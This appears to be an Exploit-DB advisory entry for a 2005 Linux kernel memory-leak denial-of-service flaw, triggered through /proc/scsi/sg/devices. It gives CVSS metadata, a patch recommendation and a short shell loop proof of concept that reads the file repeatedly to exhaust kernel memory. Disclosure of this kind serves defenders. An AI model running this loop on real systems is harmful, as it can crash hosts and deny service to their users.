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vendor:
Kernel
by:
SecurityFocus
7.8
CVSS
HIGH
Denial of Service
400
CWE
Product Name: Kernel
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
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Nuclei References: N/A
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Platforms Tested: Linux
2005

Linux Kernel Denial of Service Vulnerability

The Linux kernel is prone to a denial-of-service vulnerability. The kernel is affected by a memory leak, which eventually can result in a denial of service. A local attacker can exploit this vulnerability by making repeated reads to the '/proc/scsi/sg/devices' file, which will exhaust kernel memory and lead to a denial of service.

Mitigation:

Apply the appropriate patch from the vendor.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/14790/info

The Linux kernel is prone to a denial-of-service vulnerability. The kernel is affected by a memory leak, which eventually can result in a denial of service.

A local attacker can exploit this vulnerability by making repeated reads to the '/proc/scsi/sg/devices' file, which will exhaust kernel memory and lead to a denial of service. 

#!/bin/sh

while true; do
cat /proc/scsi/sg/devices > /dev/null
done

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